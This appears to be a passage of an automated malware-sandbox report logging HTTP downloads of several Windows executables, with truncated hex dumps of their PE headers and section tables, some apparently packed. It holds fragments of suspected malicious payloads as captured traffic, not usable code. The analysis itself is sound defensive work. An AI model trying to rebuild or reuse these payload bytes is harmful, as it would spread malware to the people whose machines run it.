00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6c 62 79 78 62 65 6d 00 40 1a 00 00 f0 50 00 00 3a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6e 64 77 63 70 6d 74 00 10 00 00 00 30 6b 00 00 06 00 00 00 76 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 6b 00 00 22 00 00 00 7c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:47 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 27 Sep 2024 14:10:49 GMTETag: "1d6400-6231a6c1293ff"Accept-Ranges: bytesContent-Length: 1926144Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 50 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4c 00 00 04 00 00 24 6d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 37 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 37 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6d 6a 63 78 68 6d 77 00 50 1a 00 00 f0 31 00 00 4a 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 71 73 69 64 68 77 65 00 10 00 00 00 40 4c 00 00 04 00 00 00 3e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4c 00 00 22 00 00 00 42 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:51 GMTContent-Type: application/octet-streamContent-Length: 3643904Last-Modified: Thu, 26 Sep 2024 19:28:15 GMTConnection: keep-aliveETag: "66f5b5cf-379a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 80 02 85 16 00 00 00 00 00 00 00 00 f0 00 02 01 0b 02 08 00 00 5c 23 00 00 3c 14 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 37 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 23 00 ac 3a 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac 5b 23 00 00 20 00 00 00 5c 23 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 3a 14 00 00 80 23 00 00 3c 14 00 00 5e 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 58 e5 22 00 54 96 00 00 00 00 02 00 4e 00 00 06 a4 b7 00 00 b2 2d 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 7e 19 bc 80 fc 50 74 80 66 ad 9d 4c 5e 5b 31 e4 77 a8 75 91 fd a0 ce d2 95 17 42 5a c5 46 14 82 e4 aa 21 9b ea df fa 2d 0e 28 9b 04 83 45 11 e2 21 6c 04 7c c1 49 c9 dd 49 e8 ea e5 0d 19 b9 1f 98 1b 66 b2 39 94 f9 96 ac 48 83 d4 04 ca 4f 4f 05 5f 39 58 42 96 c0 9b e0 43 52 01 f4 15 1f f3 6e 7c 6b 68 de 5e a9 8b 72 6c cf 79 c5 f3 d8 7e 99 9a df ad df 60 db 02 5a ca d0 f4 42 f8 a0 97 28 8e 65 87 5f e6 70 a6 b4 ac e5 d4 c6 46 d5 eb 6a d3 67 5a 34 70 13 0e 9f 68 0d 14 8c b3 48 79 ca 37 50 36 8d 51 1e b1 29 39 f7 32 79 07 3a 13 f3 e4 8a 6e 90 46 62 b7 7a 57 e6 f5 d8 5c 19 01 63 6c 09 8e f5 9e 5d 18 b4 b4 31 f9 77 e0 93 98 2d f9 1f a7 28 d9 e7 84 d4 97 ba 36 69 28 d7 cb 20 f6 ce 0d fc ab 1d 55 86 72 b9 db 14 67 40 99 c2 4e c7 de 3d 71 d8 89 83 83 b8 5d e2 27 ad 8b db 64 d9 80 12 86 9a 81 db c8 20 b5 1f 0b 70 6c 57 21 72 1b 5f f8 8e ad 1d 44 88 78 f1 be 71 5f c3 2d fe af 8d bf 87 3c b2 46 03 73 51 23 69 78 13 4c 06 c1 b3 92 2b e2 d5 2c 62 cc fd 22 8e 1c 57 c0 f1
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 